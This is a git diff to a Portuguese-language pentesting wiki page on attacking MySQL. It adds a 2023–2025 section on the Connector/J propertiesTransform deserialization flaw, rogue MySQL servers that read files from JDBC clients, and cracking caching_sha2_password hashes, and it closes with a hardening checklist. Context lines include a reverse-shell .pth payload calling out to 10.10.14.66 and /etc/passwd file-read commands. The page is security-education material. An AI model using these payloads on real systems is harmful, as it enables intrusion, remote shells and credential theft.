diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index 89ea0224a..a10ef4a1c 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -78,7 +78,7 @@ quit; mysql -u username -p < manycommands.sql #A file with all the commands you want to execute mysql -u root -h 127.0.0.1 -e 'show databases;' ``` -### Enumeração de Permissões do MySQL +### Enumeração de Permissões MySQL ```sql #Mysql SHOW GRANTS [FOR user]; @@ -117,7 +117,7 @@ Abusando do clássico `INTO OUTFILE`, é possível obter *execução de código 2. O arquivo `.pth` pode conter uma *única linha* começando com `import ` seguida de código Python arbitrário que será executado toda vez que o interpretador iniciar. 3. Quando o interpretador é executado implicitamente por um script CGI (por exemplo, `/cgi-bin/ml-draw.py` com shebang `#!/bin/python`), a carga útil é executada com os mesmos privilégios que o processo do servidor web (FortiWeb o executou como **root** → RCE total pré-autenticação). -Exemplo de carga útil `.pth` (linha única, nenhum espaço pode ser incluído na carga útil SQL final, então hex/`UNHEX()` ou concatenação de strings pode ser necessária): +Exemplo de carga útil `.pth` (linha única, nenhum espaço pode ser incluído na carga útil SQL final, então hex/`UNHEX()` ou concatenação de strings pode ser necessário): ```python import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True) ``` @@ -130,7 +130,7 @@ Importantes limitações e contornos: * `INTO OUTFILE` **não pode sobrescrever** arquivos existentes; escolha um novo nome de arquivo. * O caminho do arquivo é resolvido **relativo ao CWD do MySQL**, então prefixar com `../../` ajuda a encurtar o caminho e contornar restrições de caminho absoluto. * Se a entrada do atacante for extraída com `%128s` (ou similar), qualquer espaço truncará a carga útil; use sequências de comentários do MySQL `/**/` ou `/*!*/` para substituir espaços. -* O usuário do MySQL que executa a consulta precisa do privilégio `FILE`, mas em muitos dispositivos (por exemplo, FortiWeb) o serviço é executado como **root**, dando acesso de gravação quase em todos os lugares. +* O usuário do MySQL que executa a consulta precisa do privilégio `FILE`, mas em muitos dispositivos (por exemplo, FortiWeb) o serviço é executado como **root**, dando acesso de gravação quase em qualquer lugar. Após soltar o `.pth`, simplesmente solicite qualquer CGI tratado pelo interpretador python para obter execução de código: ``` @@ -148,7 +148,7 @@ uid=0(root) gid=0(root) groups=0(root) ## Leitura arbitrária de arquivo MySQL pelo cliente -Na verdade, quando você tenta **carregar dados locais em uma tabela** o **conteúdo de um arquivo**, o servidor MySQL ou MariaDB pede ao **cliente para lê-lo** e enviar o conteúdo. **Então, se você conseguir manipular um cliente MySQL para se conectar ao seu próprio servidor MySQL, você pode ler arquivos arbitrários.**\ +Na verdade, quando você tenta **carregar dados locais em uma tabela**, o **conteúdo de um arquivo** que o servidor MySQL ou MariaDB solicita ao **cliente para ler** e enviar o conteúdo. **Então, se você puder manipular um cliente MySQL para se conectar ao seu próprio servidor MySQL, você pode ler arquivos arbitrários.**\ Por favor, note que este é o comportamento usando: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; @@ -161,7 +161,7 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement ``` **PoC Inicial:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ -**Neste artigo você pode ver uma descrição completa do ataque e até mesmo como estendê-lo para RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ +**Neste artigo você pode ver uma descrição completa do ataque e até como estendê-lo para RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ **Aqui você pode encontrar uma visão geral do ataque:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) ​ @@ -177,7 +177,7 @@ Será muito interessante se o mysql estiver rodando como **root**: cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user" systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1 ``` -#### Configurações Perigosas do mysqld.cnf +#### Dangerous Settings of mysqld.cnf Na configuração dos serviços MySQL, várias configurações são empregadas para definir sua operação e medidas de segurança: @@ -188,7 +188,7 @@ Na configuração dos serviços MySQL, várias configurações são empregadas p - **`sql_warnings`** gerencia se strings de informação são geradas para instruções INSERT de uma única linha quando surgem avisos, contendo dados sensíveis dentro dos logs. - Com **`secure_file_priv`**, o escopo das operações de importação e exportação de dados é restrito para aumentar a segurança. -### Escalada de privilégios +### Privilege escalation ```bash # Get current user (an all users) privileges and hashes use mysql; @@ -208,9 +208,9 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys ``` ### Escalada de Privilégios via biblioteca -Se o **servidor mysql estiver rodando como root** (ou um usuário mais privilegiado diferente), você pode fazer com que ele execute comandos. Para isso, você precisa usar **funções definidas pelo usuário**. E para criar uma função definida pelo usuário, você precisará de uma **biblioteca** para o sistema operacional que está rodando o mysql. +Se o **servidor mysql estiver rodando como root** (ou um usuário mais privilegiado), você pode fazer com que ele execute comandos. Para isso, você precisa usar **funções definidas pelo usuário**. E para criar uma função definida pelo usuário, você precisará de uma **biblioteca** para o sistema operacional que está executando o mysql. -A biblioteca maliciosa a ser usada pode ser encontrada dentro do sqlmap e dentro do metasploit fazendo **`locate "*lib_mysqludf_sys*"`**. Os arquivos **`.so`** são bibliotecas **linux** e os **`.dll`** são os de **Windows**, escolha o que você precisa. +A biblioteca maliciosa a ser usada pode ser encontrada dentro do sqlmap e dentro do metasploit fazendo **`locate "*lib_mysqludf_sys*"`**. Os arquivos **`.so`** são bibliotecas **linux** e os **`.dll`** são os **Windows**, escolha o que você precisa. Se você **não tiver** essas bibliotecas, você pode **procurá-las**, ou baixar este [**código C para linux**](https://www.exploit-db.com/exploits/1518) e **compilá-lo dentro da máquina vulnerável linux**: ```bash @@ -646,7 +646,58 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' ``` +## 2023-2025 Destaques (novo) + +### JDBC `propertiesTransform` deserialização (CVE-2023-21971) +A partir do Connector/J <= 8.0.32, um atacante que pode influenciar a **JDBC URL** (por exemplo, em software de terceiros que solicita uma string de conexão) pode solicitar que classes arbitrárias sejam carregadas no lado do *cliente* via o parâmetro `propertiesTransform`. Se um gadget presente no class-path for carregável, isso resulta em **execução remota de código no contexto do cliente JDBC** (pré-autenticação, porque nenhuma credencial válida é necessária). Um PoC mínimo se parece com: +```java +jdbc:mysql://:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil +``` +Executar `Evil.class` pode ser tão fácil quanto produzi-lo no class-path da aplicação vulnerável ou deixar um servidor MySQL malicioso enviar um objeto serializado malicioso. O problema foi corrigido no Connector/J 8.0.33 – atualize o driver ou defina explicitamente `propertiesTransform` em uma lista de permissão. +(Consulte o artigo da Snyk para detalhes) + +### Ataques de servidores MySQL falsos / maliciosos contra clientes JDBC +Várias ferramentas de código aberto implementam um protocolo MySQL *parcial* para atacar clientes JDBC que se conectam externamente: + +* **mysql-fake-server** (Java, suporta exploits de leitura de arquivo e deserialização) +* **rogue_mysql_server** (Python, capacidades semelhantes) + +Caminhos de ataque típicos: + +1. A aplicação vítima carrega `mysql-connector-j` com `allowLoadLocalInfile=true` ou `autoDeserialize=true`. +2. O atacante controla a entrada DNS / host para que o nome do host do DB resolva para uma máquina sob seu controle. +3. O servidor malicioso responde com pacotes elaborados que acionam a leitura arbitrária de arquivos `LOCAL INFILE` ou deserialização Java → RCE. + +Exemplo de linha de comando para iniciar um servidor falso (Java): +```bash +java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server +``` +Então aponte a aplicação vítima para `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` e leia `/etc/passwd` codificando o nome do arquivo como base64 no campo *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`). + +### Quebrando hashes `caching_sha2_password` +MySQL ≥ 8.0 armazena hashes de senha como **`$mysql-sha2$`** (SHA-256). Tanto o Hashcat (modo **21100**) quanto o John-the-Ripper (`--format=mysql-sha2`) suportam quebra offline desde 2023. Exporte a coluna `authentication_string` e forneça-a diretamente: +```bash +# extract hashes +echo "$mysql-sha2$AABBCC…" > hashes.txt +# Hashcat +hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist +# John the Ripper +john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist +``` +### Lista de verificação de endurecimento (2025) +• Defina **`LOCAL_INFILE=0`** e **`--secure-file-priv=/var/empty`** para eliminar a maioria das primitivas de leitura/gravação de arquivos. +• Remova o privilégio **`FILE`** das contas de aplicativo. +• No Connector/J, defina `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (vazio). +• Desative plugins de autenticação não utilizados e **exija TLS** (`require_secure_transport = ON`). +• Monitore por declarações `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` e declarações súbitas `SET GLOBAL`. + +--- + ## Referências -- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) +- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540) +- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server) + +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) {{#include ../banners/hacktricks-training.md}}